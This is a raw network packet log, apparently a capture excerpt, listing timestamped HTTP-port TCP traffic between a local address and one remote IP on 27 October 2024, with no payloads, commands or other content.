Oct 27, 2024 07:59:17.544195890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544195890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544195890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544195890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544205904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544212103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544214964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544240952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544267893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544282913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544310093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544325113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544339895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544354916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544384003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544398069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544414043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544425011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544425011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544425011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544425011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544429064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544433117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544437885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544444084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544471025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544487953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544502020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544517994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544574022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544596910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544611931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544641018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544668913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544693947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544702053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544708967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544709921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544709921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544711113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544718027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544718027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544725895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544727087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544754028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544776917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544776917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544783115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544787884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544801950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544831038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544845104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544858932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544871092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544884920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544899940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544941902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544955969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544980049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544998884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545008898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545008898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545008898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545008898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545008898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545008898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545020103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545031071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545033932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545048952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545067072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545080900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545095921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545154095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545166969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545181990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545197964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545228958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545244932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545253038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545253038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545253038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545253038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545253038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545253038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545264959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545270920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545273066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545285940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545295954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545316935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545331955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545368910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545383930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545397043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545423985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545439005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545454979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545470953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545485973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545511961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545511961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545511961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545511961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545511961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545511961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545511961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545521975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545531034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545536995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545556068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545572996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545603037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545617104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545630932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545660019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545675039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545689106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545703888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545720100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545734882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545758009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545772076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545778036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545778036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545778036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545778036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545788050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545794964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.545803070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545819044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545835972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.545850992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546008110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546008110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546008110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546015978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546015978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546050072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546067953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546083927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546142101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546156883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546173096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546189070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546246052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546260118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546276093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546283960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546283960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546289921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546289921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546291113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546363115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546385050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546400070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546415091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546432018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546466112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546492100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546505928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546520948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546535015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546535969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546541929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546541929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546541929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546541929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546552896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546572924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546598911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546624899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546642065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546657085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546684027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546710968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546725988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546741009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546782970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546802998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546808004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546816111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546816111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546816111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546817064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546819925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546824932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546834946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546858072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546871901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546894073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546905994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546907902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546911001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546911001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.546922922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546937943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546952009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546964884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546978951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.546994925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.547008991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.547115088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.547115088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.547115088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.547115088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.547123909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.589637041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.589673042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.589706898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.589888096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.661847115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.661973953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.661988974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662009954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662017107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662035942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662050962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662066936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662066936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662075043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662080050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662146091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662161112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662175894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662189007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662190914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662194967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662206888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662211895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662231922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662236929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662251949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662266016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662270069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662281036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662286997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662332058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662332058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662354946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662369013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662383080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662398100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662414074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662431955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662431955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662442923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662456989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662458897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662472963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662488937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662491083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662516117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662516117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662525892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662559032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662586927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662600994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662614107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662627935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662642956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662656069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662672997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662686110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662730932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662746906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662761927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662775040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662775040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662782907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662789106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662797928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662797928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662800074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662806988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662810087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662810087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662810087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662813902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662826061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662826061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662832975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662851095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662861109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662879944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662887096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662900925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662914038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662929058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662961960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662961960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662961960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.662976027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.662995100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663005114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663023949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663038015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663041115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663055897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663080931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663113117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663127899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663141966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663156033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663171053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663201094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663214922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663230896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663230896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663244963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663259983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663273096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663297892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663306952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663326025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663342953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663360119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663376093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663389921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663395882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663395882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663404942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663422108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663422108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663463116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663463116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663609982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663623095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663636923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663651943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663666964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663667917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663681984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663697004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663697958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663728952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663728952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663728952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663748980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663815975 CET	80	49704	185.215.113.206	192.168.2.5
